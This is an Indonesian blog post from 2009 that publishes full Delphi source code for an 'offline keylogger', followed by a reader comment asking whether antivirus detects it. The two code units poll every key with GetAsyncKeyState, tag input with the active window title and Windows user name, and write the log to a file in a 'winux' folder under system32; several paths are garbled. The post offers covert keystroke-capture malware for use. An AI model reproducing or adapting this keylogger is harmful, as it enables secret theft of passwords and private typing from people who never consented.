OffLine KeyLogger Delphi

2 05 2009

Berikut ini adalah simple project untuk Offline Keylogger. Hasil perekamannya dapat dilihat di directory c:\windowssystem32\winux
Setelah program ini di jalankan tentunya…

Unit 1

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, shellapi, Registry, XDesktopServer, ScktComp;

type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);

private
{ Private declarations }

public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses
untOffLineLogger;

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
OLGetLetter;
end;

procedure TForm1.FormCreate(Sender: TObject);

begin

if DirectoryExists('c:winntsystem32') = true then
if DirectoryExists('c:winntsystem32winux') = false then
begin
CreateDir('c:winntsystem32winux');
end;

if DirectoryExists('c:\windowssystem\32') = true then
if DirectoryExists('c:\windowssystem32\winux') = false then
begin
CreateDir('c:windowssystem32winux');
end;

end;

end.
Unit 2

unit untOffLineLogger;

interface

uses SysUtils, unit1, Windows;

procedure OLGetLetter;
function OLShift:Boolean;
function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;
procedure OLShowLetter(strLetter:string);
function OLActiveCaption:string;

implementation

var
cWindow:string;

const cr_lf = chr(13)+chr(10);

procedure OLGetLetter;
var
j:Integer;
a:string;
begin

//Verify if lettrers 'A'..'Z'..'a'..'z' is pressed
//basicly to see if its a or A check the state of the caps and shift keys
//same gows with every thing alse liek you 1 or !😛

for j:=65 to 90 do
if Odd(GetAsyncKeyState(j)) then
if Odd(GetKeyState(VK_CAPITAL)) then
if GetKeyState(VK_SHIFT)<0 then
OLShowLetter(LowerCase(Chr(j)))
else
OLShowLetter(UpperCase(Chr(j)))
else
if GetKeyState(VK_SHIFT)<0 then
OLShowLetter(UpperCase(Chr(j)))
else
OLShowLetter(LowerCase(Chr(j)));

//Verify if numpab is pressed
for j:=96 to 105 do
if Odd(GetAsyncKeyState(j)) then
OLShowLetter(IntToStr((j - 97) + 1));
//Verify if F1 to F24 is pressed
for j:=112 to 135 do
if Odd(GetAsyncKeyState(j)) then
OLShowLetter('{F' + IntToStr(j - 112 + 1) + '}');
//Verify if number 0 to 9 is pressed
for j:=48 to 57 do
if Odd(GetAsyncKeyState(j)) then
if OLShift then
begin
case j - 48 of
1: OLShowLetter('!');
2: OLShowLetter('@');
3: OLShowLetter('#');
4: OLShowLetter('$');
5: OLShowLetter('%');
6: OLShowLetter('^');
7: OLShowLetter('&');
8: OLShowLetter('*');
9: OLShowLetter('(');
0: OLShowLetter(')');
end;
end
else
OLShowLetter(IntToStr(j - 48));
if Odd(GetAsyncKeyState(VK_BACK)) then form1.Memo1.Text:=Copy(form1.Memo1.Text,1,Length(form1.Memo1.Text)-1);
if Odd(GetAsyncKeyState(VK_TAB)) then OLShowLetter('{TAB}');
if Odd(GetAsyncKeyState(VK_RETURN)) then OLShowLetter(#13#10);
//ok i added this in just so you know the all functions😛
if Odd(GetAsyncKeyState(VK_SHIFT)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_CONTROL)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_MENU)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_PAUSE)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_ESCAPE)) then OLShowLetter('{ESC}');
if Odd(GetAsyncKeyState(VK_SPACE)) then OLShowLetter(' ');
if Odd(GetAsyncKeyState(VK_END)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_HOME)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_LEFT)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_RIGHT)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_UP)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_DOWN)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_INSERT)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_MULTIPLY)) then OLShowLetter('*');
if Odd(GetAsyncKeyState(VK_ADD)) then OLShowLetter('+');
if Odd(GetAsyncKeyState(VK_SUBTRACT)) then OLShowLetter('-');
if Odd(GetAsyncKeyState(VK_DECIMAL)) then OLShowLetter('.');
if Odd(GetAsyncKeyState(VK_DIVIDE)) then OLShowLetter('/');
if Odd(GetAsyncKeyState(VK_NUMLOCK)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_CAPITAL)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_SCROLL)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_DELETE)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_PRIOR)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_NEXT)) then OLShowLetter('');
if Odd(GetAsyncKeyState(VK_PRINT)) then OLShowLetter('{PRINT SCREEN}');
if OLMoreChars($BA,':',';',a) then OLShowLetter(a);
if OLMoreChars($BB,'+','=',a) then OLShowLetter(a);
if OLMoreChars($BC,'< ',',',a) then OLShowLetter(a);
if OLMoreChars($BD,'_','-',a) then OLShowLetter(a);
if OLMoreChars($BE,'>','.',a) then OLShowLetter(a);
if OLMoreChars($BF,'?','/',a) then OLShowLetter(a);
if OLMoreChars($C0,'~','`',a) then OLShowLetter(a);
if OLMoreChars($DB,'{','[',a) then OLShowLetter(a);
if OLMoreChars($DC,'|','',a) then OLShowLetter(a);
if OLMoreChars($DD,'}',']',a) then OLShowLetter(a);
if OLMoreChars($DE,'"','''',a) then OLShowLetter(a);
{PrintScreen}
end;

function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;
begin
OLMoreChars:=True;
if Odd(GetAsyncKeyState(CharNumber)) then
begin
if OLShift then
Answer:=TruePart
else
Answer:=FalsePart;
Exit;
end;
OLMoreChars:=False;
end;

function OLShift:Boolean;
begin
OLShift:=GetAsyncKeyState(VK_SHIFT) <> 0;
end;

procedure OLShowLetter(strLetter:string);
const
cnMaxUserNameLen = 254;
var
cActive:string;
sUserName : string;
dwUserNameLen : DWord;
begin
dwUserNameLen := cnMaxUserNameLen-1;
SetLength( sUserName, cnMaxUserNameLen );
GetUserName(PChar(sUserName), dwUserNameLen);
SetLength(sUserName, dwUserNameLen);

cActive:=OLActiveCaption;
if cWindow <> cActive then
begin
cWindow:=cActive;
strLetter:=cr_lf+'focused window:' + cWindow + cr_lf + strLetter;
end;
form1.Memo1.Text:=form1.Memo1.Text + strLetter;
if DirectoryExists('c:winnt') then
form1.Memo1.Lines.SaveToFile('c:winntsystem32winux' + sUserName + '.joo')
else
form1.Memo1.Lines.SaveToFile('c:windowssystem32winux' + sUserName + '.joo');
end;

function OLActiveCaption:string;
var
Handle:THandle;
Len:LongInt;
Title:string;
begin
Handle:=GetForegroundWindow;
Len:=GetWindowTextLength(Handle) + 1;
SetLength(Title,Len);
GetWindowText(Handle,PChar(Title),Len);
OLActiveCaption:=TrimRight(Title);
end;

end.

Source Code By: Planet Source Code


Actions

Information

2 responses

25 05 2009
gombez

serem euy…
kedetek AV ora?
btw iku carane nampilno kode koyok ning notepad++ kui yaopo carane?
maklum, sy masih cupu kk

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s




%d bloggers like this: